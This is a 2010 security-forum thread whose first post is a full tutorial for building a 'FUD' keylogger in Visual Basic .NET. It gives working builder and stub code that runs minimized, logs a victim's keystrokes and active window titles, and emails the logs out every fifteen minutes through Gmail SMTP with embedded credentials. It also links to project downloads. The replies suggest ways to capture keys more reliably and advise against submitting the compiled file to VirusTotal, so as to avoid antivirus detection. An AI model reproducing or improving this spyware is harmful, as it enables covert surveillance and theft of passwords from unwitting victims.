Government Security
Network Security Resources

Jump to content

Photo

Make Own Fud Keylogger In Visual Basic!


  • Please log in to reply
2 replies to this topic

#1 Ihearyou

Ihearyou

    Private

  • Members
  • 1 posts

Posted 08 September 2010 - 03:13 AM

Introduction

Hello everyone.

This is my new tutorial about making an keylogger in Visual Basic .NET, also called VB8. Before we start I'm going to explane you something more about Visual Basic. The Visual Basic is programming language created by Microsoft Corporation. Its most popular programming language in the world, its easy and good. For you just started with Visual Basic, this will be great tutorial to learn a bit more about it. Also if you are reading this tutorial, please dont just copy/paste .. the best way to learn is to read and study source. Even if its advance and hard to understand, you will find way to understand it .. like me.

OK, now i will explane you something about programming languages and how the computers understand them. A Computer cannot understand any persons spoken language. A spoken language such as English is simply too general and ambiguous for computers to understand. We must adapt to the machine and learn the computer language so that the computer can understand. This is where visual basic comes into it - when you type visual basic source code into the computer, the computer processes these statements into Visual Basic language.

WARNING: It doesnt work on Win7 & Vista because the name of .dll which I use to get keys isnt that name for vista & win7! You can google the name of .dll library to find for Windows7 & Vista

1. STEP

Download Visual Basic Express Edition 2008 for free if you didnt already.

2. STEP
  • Run Visual Basic
  • In Tab click File > New Project
  • Windows Application > "Keylogger Builder" > Click Ok
3. STEP

Change the following from the Properties of Form1:

FormBorderStyle = FixedSingle
MaximizeBox = False
MinimizeBox = False
Show Icon = False
StartPosition = CenterScreen
Text = Keylogger Builder

Explanation:
Posted Image

Posted Image


From the Toolbox add:
  • TextBox1 - The GMail Username textbox
  • Textbox2 - The Gmail Password textbox
  • Button1 - The Build button, Change text to: Build
  • Label1 - Change text to: Gmail Username
  • Label2 - Change text to: Gmail Password
Explanation:
Posted Image

4. STEP

Now when you add all these, on top of code add:

Code:
Imports System.IO
Now under Public Class Form1 add following code, that would be strings:

Code:
Dim stub, text1, text2 As String
Const FileSplit = "@keylogger@"
Now when you done with that, just simply double click Button1 and add:
Code:
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("Server.exe") Then
My.Computer.FileSystem.DeleteFile("Server.exe")
End If
FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit)
FileClose(1)
MsgBox("The Server.exe is builded!")
Now you got your builder and now lets move to Stub.

5. STEP
  • Run Visual Basic
  • In Tab click File > New Project
  • Windows Application > "Stub" > Click Ok
6. STEP

Change the following from the Properties of Form1:

FormBorderStyle = FixedToolWindow
StartPosition = CenterScreen
Text = (no text)
WindowsState = Minimized

Explanation:
Posted Image

From the Toolbox add:
  • Textbox1 - KEY LOGGER(follow everything what victim write)
  • Textbox2 - GMail Username
  • Textbox3 - GMail Password
  • Timer1 - Upload Interval
  • Timer2 - Get name of window where keylogger get
    keys(userful)
  • Timer3 - Get Keys
Explanation:
Posted Image


Timer1 Interval = 900000
Timer2 Interval = 100
Timer3 Interval = 100

7. STEP

Now when you add all these, on top of code add:

Code:
Imports System.IO
Imports System.Net.Mail
Now under Public Class Form1 add following code, that would be strings:

Code:
Dim options(), text1, text2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Const FileSplit = "@keylogger@"
Now double click Timer1 and write following code:

Code:
Dim MailSetup As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add(TextBox2.Text)
MailSetup.From = New MailAddress(TextBox2.Text)
MailSetup.Body = TextBox1.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTP.Send(MailSetup)
TextBox1.Clear()
And add this as Function to source code:

DOWNLOAD HOW TO ADD FUNCTION IF YOU DONT KNOW:

http://www.mediafire.com/?hyr22ivdg2m

Code:
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing

Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
Now double click Timer2 to get names of active windows:

Code:
If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() & "]:" + vbNewLine
strin = GetActiveWindowTitle()
End If
Now double click Form1 and write following code:

Code:
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
text2 = Space(LOF(1))
FileGet(1, text1)
FileGet(1, text2)
FileClose(1)
options = Split(text1, FileSplit)
TextBox2.Text = options(1)
TextBox3.Text = options(2)
Timer1.Start()
Timer2.Start()
Now double click Timer3 and past code:

Code:
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

8. STEP

You are done!

Finnaly you made your own, keylogger ... enjoy and for more informations and error reaports please PM or post here, I'll fix it :)


Download Project:
http://www.mediafire.com/?izztizynwjz

#2 aelphaeis_mangarae

aelphaeis_mangarae

    Members

  • Sergeant Major
  • 973 posts

Posted 12 September 2010 - 10:44 PM

# Timer2 - Get name of window where keylogger get
keys(userful)
# Timer3 - Get Keys


Because you are using a timer with GetAsyncKeyState() rather than a keyboard hook, you are going to have some key missed. Especially for people who are mad fast typers.

If you are going to use a timer I would recommend decreasing the interval, should give you better results. Although I would also think your going to get some repeated keys possibly (especially if your decrease the interval too much.) I don't know though what the optimum interval would be though.

Thanks though for your contribution to the forum.


How many AV's have you scanned your compiled "Server.exe" with? I wouldn't be surprised if heuristic analysis on an AV picks this up. Certainly don't do anything stupid though like upload it to virustotal or a similar service (even if they claim not to submit your files anywhere.)

#3 BluePass

BluePass

    Private First Class

  • Members
  • 53 posts

Posted 16 September 2010 - 09:16 AM

Because you are using a timer with GetAsyncKeyState() rather than a keyboard hook, you are going to have some key missed. Especially for people who are mad fast typers.

If you are going to use a timer I would recommend decreasing the interval, should give you better results. Although I would also think your going to get some repeated keys possibly (especially if your decrease the interval too much.) I don't know though what the optimum interval would be though.


If you could somehow get the values for the repeat delay and repeat rate (from registry or maybe API), you could probably program a clever way to avoid repeats while keeping the fast interval. That might be something to look into.




1 user(s) are reading this topic

0 members, 1 guests, 0 anonymous users